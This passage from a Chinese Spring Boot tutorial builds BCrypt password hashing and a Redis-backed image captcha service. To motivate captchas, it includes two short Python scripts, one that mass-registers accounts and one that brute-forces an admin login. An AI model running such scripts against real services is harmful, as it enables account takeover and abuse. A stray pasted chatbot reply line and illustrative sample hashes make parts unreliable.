class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-security-crypto<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>封装 PasswordEncoder 工具类</strong>:</p><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/util/PasswordEncoder.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.util;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 密码加密工具类</span></span><br><span class="line"><span class="comment"> * 封装 BCrypt 算法</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PasswordEncoder</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">BCryptPasswordEncoder</span> <span class="variable">encoder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BCryptPasswordEncoder</span>(<span class="number">12</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 加密密码</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> rawPassword 明文密码</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> BCrypt 哈希值</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">encode</span><span class="params">(String rawPassword)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> encoder.encode(rawPassword);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 验证密码</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> rawPassword     明文密码</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> encodedPassword BCrypt 哈希值</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> true 表示密码正确,false 表示密码错误</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">matches</span><span class="params">(String rawPassword, String encodedPassword)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> encoder.matches(rawPassword, encodedPassword);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>测试 BCrypt</strong>:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Test</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">testBCrypt</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">PasswordEncoder</span> <span class="variable">encoder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PasswordEncoder</span>();</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 加密密码</span></span><br><span class="line">    <span class="type">String</span> <span class="variable">rawPassword</span> <span class="operator">=</span> <span class="string">&quot;123456&quot;</span>;</span><br><span class="line">    <span class="type">String</span> <span class="variable">hash1</span> <span class="operator">=</span> encoder.encode(rawPassword);</span><br><span class="line">    <span class="type">String</span> <span class="variable">hash2</span> <span class="operator">=</span> encoder.encode(rawPassword);</span><br><span class="line"></span><br><span class="line">    System.out.println(<span class="string">&quot;哈希值 1: &quot;</span> + hash1);</span><br><span class="line">    System.out.println(<span class="string">&quot;哈希值 2: &quot;</span> + hash2);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 验证密码</span></span><br><span class="line">    System.out.println(<span class="string">&quot;验证结果 1: &quot;</span> + encoder.matches(rawPassword, hash1));</span><br><span class="line">    System.out.println(<span class="string">&quot;验证结果 2: &quot;</span> + encoder.matches(rawPassword, hash2));</span><br><span class="line">    System.out.println(<span class="string">&quot;验证错误密码: &quot;</span> + encoder.matches(<span class="string">&quot;wrong&quot;</span>, hash1));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>输出</strong>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">哈希值 1: $2a$12$rQ7R8kN5J6X7Z8Y9W0V1U.2Q3R4S5T6U7V8W9X0Y1Z2A3B4C5D6E7F</span><br><span class="line">哈希值 2: $2a$12$aB3C4d5E6f7G8h9I0j1K2.3L4M5N6o7P8q9R0s1T2u3V4w5X6y7Z8</span><br><span class="line">验证结果 1: true</span><br><span class="line">验证结果 2: true</span><br><span class="line">验证错误密码: false</span><br></pre></td></tr></table></figure><p><strong>关键点</strong>:</p><ul><li>同一个密码,每次加密的哈希值都不同(因为盐值不同)</li><li>但验证时都能通过(因为盐值嵌入在哈希值中)</li></ul><hr><h2 id="19-3-5-验证码服务-防止爬虫批量注册">19.3.5. 验证码服务:防止爬虫批量注册</h2><p>在上一节中,我们实现了密码加密功能。现在我们需要实现验证码服务,防止爬虫批量注册。</p><h3 id="为什么需要验证码">为什么需要验证码?</h3><p><strong>场景一:防止爬虫批量注册</strong></p><p>如果没有验证码,攻击者可以编写脚本,批量注册大量账号:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10000</span>):</span><br><span class="line">    requests.post(<span class="string">&#x27;http://localhost:8080/auth/register&#x27;</span>, json=&#123;</span><br><span class="line">        <span class="string">&#x27;username&#x27;</span>: <span class="string">f&#x27;user<span class="subst">&#123;i&#125;</span>&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;password&#x27;</span>: <span class="string">&#x27;123456&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;email&#x27;</span>: <span class="string">f&#x27;user<span class="subst">&#123;i&#125;</span>@example.com&#x27;</span></span><br><span class="line">    &#125;)</span><br></pre></td></tr></table></figure><p><strong>几分钟内就能注册数万个账号</strong>,导致:</p><ul><li>数据库被垃圾数据填满</li><li>邮件服务器被大量激活邮件占用</li><li>正常用户无法注册(用户名被占用)</li></ul><p><strong>场景二:防止暴力破解登录</strong></p><p>如果没有验证码,攻击者可以编写脚本,暴力破解密码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">passwords = [<span class="string">&#x27;123456&#x27;</span>, <span class="string">&#x27;password&#x27;</span>, <span class="string">&#x27;123456789&#x27;</span>, ...]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> password <span class="keyword">in</span> passwords:</span><br><span class="line">    response = requests.post(<span class="string">&#x27;http://localhost:8080/auth/login&#x27;</span>, json=&#123;</span><br><span class="line">        <span class="string">&#x27;authType&#x27;</span>: <span class="string">&#x27;PASSWORD&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;username&#x27;</span>: <span class="string">&#x27;admin&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;password&#x27;</span>: password</span><br><span class="line">    &#125;)</span><br><span class="line">    <span class="keyword">if</span> response.status_code == <span class="number">200</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&#x27;密码破解成功: <span class="subst">&#123;password&#125;</span>&#x27;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br></pre></td></tr></table></figure><p><strong>验证码的作用</strong>:</p><ul><li>✅ 增加自动化攻击的成本</li><li>✅ 区分人类用户和机器人</li><li>✅ 保护系统资源</li></ul><hr><h3 id="验证码类型对比">验证码类型对比</h3><p>没问题,这是精简后的版本,只保留了目前 <strong>最主流的 4 种</strong> 验证码类型,方便你直接放入文档:</p><h3 id="常见验证码类型对比">常见验证码类型对比</h3><table><thead><tr><th>验证码类型</th><th>安全性</th><th>用户体验</th><th>核心适用场景</th></tr></thead><tbody><tr><td><strong>图形验证码</strong></td><td>⭐</td><td>⭐⭐</td><td>简单的后台系统、低频操作</td></tr><tr><td><strong>滑动验证码</strong></td><td>⭐⭐⭐</td><td>⭐⭐⭐⭐</td><td>网站登录、注册(目前的行业标准)</td></tr><tr><td><strong>点选验证码</strong></td><td>⭐⭐⭐⭐</td><td>⭐</td><td>支付确认、高风险拦截(如汉字/图标顺序点选)</td></tr><tr><td><strong>无感验证</strong></td><td>⭐⭐⭐⭐⭐</td><td>⭐⭐⭐⭐⭐</td><td>全场景防护(通过鼠标轨迹/设备指纹后台判定)</td></tr></tbody></table><p>本章只实现最基础的图形验证码。随着安全需求的升级,现代应用通常采用更智能的验证方式。如果你需要进阶方案,请参考以下文章:</p><p><strong>《滑动拼图验证》</strong>:详解前端 Canvas 抠图与后端坐标校验逻辑。</p><p><strong>《点选/旋转验证》</strong>:应对 OCR 破解的高安全方案。</p><p><a href="https://blog.prorisehub.com/posts/69042.html">Spring Boot 3 滑动/旋转/滑动还原/文字点选验证码集成:Tianai-Captcha 快速接入指南 | Prorise - 博客小栈</a></p><p><strong>《无感/行为验证》</strong>:接入 Cloudflare Turnstile</p><p><a href="https://blog.prorisehub.com/posts/66464.html">Spring Boot 3 无感验证码集成：Cloudflare Turnstile 快速接入指南</a></p><hr><h3 id="图形验证码生成">图形验证码生成</h3><p><strong>引入依赖</strong>:</p><p>Hutool 提供了封装好的验证码服务,我们仅需要转化为业务功能即可。</p><p><strong>📄 文件路径</strong>:<code>pom.xml</code>(追加)</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- Hutool(包含验证码生成) --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.hutool<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>hutool-all<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>5.8.24<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><hr><p><strong>定义 Redis Key 常量</strong>:</p><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/constant/RedisKeyConstants.java</code>(追加)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.constant;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Redis Key 常量类</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RedisKeyConstants</span> &#123;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 验证码相关 Key 前缀</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">CAPTCHA_PREFIX</span> <span class="operator">=</span> <span class="string">&quot;auth:captcha:&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><p><strong>配置验证码参数</strong>:</p><p><strong>📄 文件路径</strong>:<code>src/main/resources/application.yml</code>(追加)</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 认证配置(可选:用于控制启用哪些登录方式)</span></span><br><span class="line"><span class="attr">auth:</span></span><br><span class="line">  <span class="attr">enabled-types:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">PASSWORD</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">SMS</span></span><br><span class="line">    <span class="comment"># - WECHAT  # 注释掉即可禁用</span></span><br><span class="line">  <span class="comment"># 验证码配置</span></span><br><span class="line">  <span class="attr">captcha:</span></span><br><span class="line">    <span class="comment"># 验证码有效期(分钟)</span></span><br><span class="line">    <span class="attr">expire-minutes:</span> <span class="number">5</span></span><br><span class="line">    <span class="comment"># 验证码图片宽度</span></span><br><span class="line">    <span class="attr">width:</span> <span class="number">200</span></span><br><span class="line">    <span class="comment"># 验证码图片高度</span></span><br><span class="line">    <span class="attr">height:</span> <span class="number">100</span></span><br><span class="line">    <span class="comment"># 验证码字符数量</span></span><br><span class="line">    <span class="attr">code-count:</span> <span class="number">4</span></span><br><span class="line">    <span class="comment"># 干扰线数量</span></span><br><span class="line">    <span class="attr">line-count:</span> <span class="number">20</span></span><br></pre></td></tr></table></figure><hr><p><strong>实现验证码服务</strong>:</p><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/service/CaptchaService.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.service;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.hutool.captcha.CaptchaUtil;</span><br><span class="line"><span class="keyword">import</span> cn.hutool.captcha.LineCaptcha;</span><br><span class="line"><span class="keyword">import</span> lombok.RequiredArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.annotation.Value;</span><br><span class="line"><span class="keyword">import</span> org.springframework.data.redis.core.StringRedisTemplate;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Service;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.TimeUnit;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 验证码服务</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CaptchaService</span> &#123;</span><br><span class="line"><span class="keyword">private</span> <span class="keyword">final</span> StringRedisTemplate redisTemplate;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Value(&quot;$&#123;auth.captcha.expire-minutes:5&#125;&quot;)</span></span><br><span class="line"><span class="keyword">private</span> <span class="type">long</span> expireMinutes; <span class="comment">// 验证码有效期(分钟)</span></span><br><span class="line"><span class="meta">@Value(&quot;$&#123;auth.captcha.width:200&#125;&quot;)</span></span><br><span class="line"><span class="keyword">private</span> <span class="type">int</span> width; <span class="comment">// 验证码宽度</span></span><br><span class="line"><span class="meta">@Value(&quot;$&#123;auth.captcha.height:100&#125;&quot;)</span></span><br><span class="line"><span class="keyword">private</span> <span class="type">int</span> height; <span class="comment">// 验证码高度</span></span><br><span class="line"><span class="meta">@Value(&quot;$&#123;auth.captcha.code-count:4&#125;&quot;)</span></span><br><span class="line"><span class="keyword">private</span> <span class="type">int</span> codeCount; <span class="comment">// 验证码字符数量</span></span><br><span class="line"><span class="meta">@Value(&quot;$&#123;auth.captcha.line-count:20&#125;&quot;)</span></span><br><span class="line"><span class="keyword">private</span> <span class="type">int</span> lineCount; <span class="comment">// 验证码干扰线数量</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 生成验证码</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> key 验证码 Key(通常是用户的唯一标识,如 sessionId 或 UUID)</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> 验证码图片的 Base64 编码</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> String <span class="title function_">generateCaptcha</span><span class="params">(String key)</span> &#123;</span><br><span class="line"><span class="comment">// 1. 生成验证码图片</span></span><br><span class="line"><span class="type">LineCaptcha</span> <span class="variable">captcha</span> <span class="operator">=</span> CaptchaUtil.createLineCaptcha(width, height, codeCount, lineCount);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 2. 获取验证码文本</span></span><br><span class="line"><span class="type">String</span> <span class="variable">code</span> <span class="operator">=</span> captcha.getCode();</span><br><span class="line"></span><br><span class="line">log.info(<span class="string">&quot;生成验证码: key=&#123;&#125;, code=&#123;&#125;&quot;</span>, key, code);</span><br><span class="line"><span class="comment">// 3. 将验证码存入 Redis</span></span><br><span class="line"><span class="type">String</span> <span class="variable">redisKey</span> <span class="operator">=</span> <span class="string">&quot;auth:captcha:&quot;</span> + key;</span><br><span class="line">redisTemplate.opsForValue().set(redisKey, code, expireMinutes, TimeUnit.MINUTES);</span><br><span class="line"><span class="comment">// 4. 返回验证码图片的 Base64 编码</span></span><br><span class="line"><span class="keyword">return</span> captcha.getImageBase64();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 验证验证码</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> key  验证码 Key</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> code 用户输入的验证码</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> true 表示验证通过,false 表示验证失败</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">verifyCaptcha</span><span class="params">(String key, String code)</span> &#123;</span><br><span class="line"><span class="comment">// 1. 从 Redis 中获取验证码</span></span><br><span class="line"><span class="type">String</span> <span class="variable">redisKey</span> <span class="operator">=</span> <span class="string">&quot;auth:captcha:&quot;</span> + key;</span><br><span class="line"><span class="type">String</span> <span class="variable">storedCode</span> <span class="operator">=</span> redisTemplate.opsForValue().get(redisKey);</span><br><span class="line"><span class="comment">// 2. 验证码不存在或已过期</span></span><br><span class="line"><span class="keyword">if</span> (storedCode == <span class="literal">null</span>) &#123;</span><br><span class="line">log.warn(<span class="string">&quot;验证码不存在或已过期: key=&#123;&#125;&quot;</span>, key);</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 3. 验证码错误(忽略大小写)</span></span><br><span class="line"><span class="keyword">if</span> (!storedCode.equalsIgnoreCase(code)) &#123;</span><br><span class="line">log.warn(<span class="string">&quot;验证码错误: key=&#123;&#125;, expected=&#123;&#125;, actual=&#123;&#125;&quot;</span>, key, storedCode, code);</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 4. 验证通过,立即删除验证码(一次性使用)</span></span><br><span class="line">redisTemplate.delete(redisKey);</span><br><span class="line">log.info(<span class="string">&quot;验证码验证通过: key=&#123;&#125;&quot;</span>, key);</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><p><strong>实现验证码接口</strong>:</p><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/controller/CaptchaController.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.controller;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.hutool.core.util.IdUtil;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.common.Result;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.service.CaptchaService;</span><br><span class="line"><span class="keyword">import</span> lombok.RequiredArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.GetMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RequestMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RequestParam;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RestController;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 验证码控制器</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/captcha&quot;)</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CaptchaController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> CaptchaService captchaService;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 生成验证码</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 验证码图片的 Base64 编码和验证码 Key</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/generate&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Map&lt;String, String&gt;&gt; <span class="title function_">generate</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 生成唯一的验证码 Key</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> IdUtil.fastSimpleUUID();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 生成验证码图片</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">imageBase64</span> <span class="operator">=</span> captchaService.generateCaptcha(key);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 返回验证码 Key 和图片</span></span><br><span class="line">        Map&lt;String, String&gt; data = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        data.put(<span class="string">&quot;key&quot;</span>, key);</span><br><span class="line">        data.put(<span class="string">&quot;image&quot;</span>, <span class="string">&quot;data:image/png;base64,&quot;</span> + imageBase64);</span><br><span class="line">        <span class="keyword">return</span> Result.ok(data);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 验证验证码(测试接口)</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> key  验证码 Key</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> code 用户输入的验证码</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 验证结果</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/verify&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Map&lt;String, Boolean&gt;&gt; <span class="title function_">verify</span><span class="params">(<span class="meta">@RequestParam</span> String key, <span class="meta">@RequestParam</span> String code)</span> &#123;</span><br><span class="line">        <span class="type">boolean</span> <span class="variable">valid</span> <span class="operator">=</span> captchaService.verifyCaptcha(key, code);</span><br><span class="line"></span><br><span class="line">        Map&lt;String, Boolean&gt; data = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        data.put(<span class="string">&quot;valid&quot;</span>, valid);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> Result.ok(data);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><p><strong>Postman 测试</strong>:</p><p><strong>步骤 1:生成验证码</strong></p><ul><li><strong>方法</strong>:<code>GET</code></li><li><strong>URL</strong>:<code>http://localhost:8080/captcha/generate</code></li></ul><p><strong>响应示例</strong>:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span 